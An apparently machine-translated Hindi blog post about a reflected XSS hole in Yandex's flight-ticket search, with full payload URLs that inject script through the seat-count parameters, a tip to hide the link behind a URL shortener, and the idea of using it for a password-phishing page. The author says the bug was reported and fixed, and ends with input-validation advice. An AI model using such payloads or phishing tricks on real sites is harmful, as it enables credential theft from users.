Yandex के साथ उड़ो! या छोटों के लिए xss

यैंडेक्स वेबसाइट पर कमजोरियों के उपयोग का एक छोटा सा उदाहरण।

HOWTO :
1) फॉर्म जमा करें।
2) हम जीईटी मापदंडों के साथ खेलते हैं।
3) वह पता लगाएं जिसका मूल्य पृष्ठ के शरीर में लिखा गया है।
4) हम js इंजेक्षन करने की कोशिश करते हैं
5) ???
6) लाभ!

कुछ विवरण:

हम टिकट खोज फॉर्म में जाते हैं :

 http://ticket.yandex.ru/variants/? 

हमें बहुत सारे त्रुटि संदेश दिखाई देते हैं।


पता बार में थोड़ा सा जादू करना:

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script> 

हम टूटे हुए पृष्ठ का निरीक्षण करते हैं ।

हम आगे के मापदंडों के साथ खेलते हैं, हम जो ढूंढ रहे हैं, वह अनावश्यक त्रुटि संदेशों को हटा दें:

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=- 
 

http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=-


वह सब है। लगभग एक कूरियर।

यह केवल पाठ को और अधिक आश्वस्त करने के लिए बना हुआ है। उदाहरण के लिए, यह:

 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=- 
 

http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=-




लंबा URL निकला, है ना? खैर, डरावना नहीं।
वैसे, goo.gl हमारी मदद नहीं करेगा, क्योंकि url बुरे शब्दों के साथ पता लगाता है।
लेकिन यहाँ बहुत प्रतिस्पर्धा है, इसलिए हम इतना स्मार्ट बिट नहीं लेते हैं bit.ly/KHEmsr

अब, उदाहरण के लिए, आप सोशल नेटवर्क पर यांडेक्स के लिए एक दिलचस्प लिंक पोस्ट कर सकते हैं, पहले से स्क्रिब्ल्ड है
फ्लाइट सर्च पेज की एक कॉपी, दुनिया की हर चीज का पासवर्ड मांगती है ...

आगे, फिर, खुदाई नहीं की।

पुनश्च: यह पद पूरी तरह से शैक्षिक उद्देश्यों के लिए लिखा गया था।

UPD : मैंने यैंडेक्स टेक सपोर्ट को एक पत्र लिखा।

संक्षिप्त निष्कर्ष:

• GET मापदंडों की जाँच करें: यदि आप city_name प्राप्त करना चाहते हैं, तो इस पैरामीटर के मान में "<,>, आदि" को छोड़ने का कोई मतलब नहीं है। समान प्रकार के मूल्यों पर भी लागू होता है: तार वहां बेकार हैं।
• यहां तक ​​कि अच्छे प्रोग्रामर भी कभी-कभी बचपन की गलतियाँ करते हैं।
• एक समान लेख प्रकाशित करने से पहले, समर्थन करने के लिए सदस्यता समाप्त करने के लिए मत भूलना, यदि आप एक सफेद टोपी हैं, तो निश्चित रूप से। (इस के Habraiser TheAlien को याद दिलाने के लिए विशेष धन्यवाद)

UPD2 : बग फिक्स्ड। ओह, और नहीं धन्यवाद ...